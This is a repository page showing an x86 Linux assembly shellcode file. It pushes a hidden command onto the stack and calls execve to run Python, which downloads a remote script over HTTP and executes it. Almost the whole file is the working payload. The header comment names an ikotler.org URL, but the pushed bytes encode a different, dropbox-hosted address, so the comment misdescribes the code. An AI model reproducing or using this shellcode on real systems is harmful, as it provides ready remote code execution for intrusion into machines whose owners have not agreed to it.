Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
59 lines (57 sloc) 1.15 KB
#
# (linux/x86) execve("/usr/bin/python", ["/usr/bin/python", "-c", "import urllib2 ; exec compile(urllib2.urlopen('http://ikotler.org/helloworld.py').read(), '<string>', 'exec')"], NULL);
# - Itzik Kotler <ik@ikotler.org>
#
.section .text
.global _start
_start:
push $0xb
pop %eax
cdq
push %edx
push $0x20292763
push $0x65786527
push $0x2c273e67
push $0x6e697274
push $0x733c272c
push $0x29286461
push $0x65722e29
push $0x2779702e
push $0x646c726f
push $0x776f6c6c
push $0x65682f32
push $0x34323834
push $0x3639322f
push $0x752f6d6f
push $0x632e786f
push $0x62706f72
push $0x642e6c64
push $0x2f2f3a70
push $0x74746827
push $0x286e6570
push $0x6f6c7275
push $0x2e326269
push $0x6c6c7275
push $0x28656c69
push $0x706d6f63
push $0x20636578
push $0x653b3262
push $0x696c6c72
push $0x75207472
push $0x6f706d69
mov %esp, %esi
push %edx
pushw $0x632d
mov %esp, %ecx
push %edx
push $0x6e6f6874
push $0x79702f6e
push $0x69622f72
push $0x73752f2f
mov %esp,%ebx
push %edx
push %esi
push %ecx
push %ebx
mov %esp,%ecx
int $0x80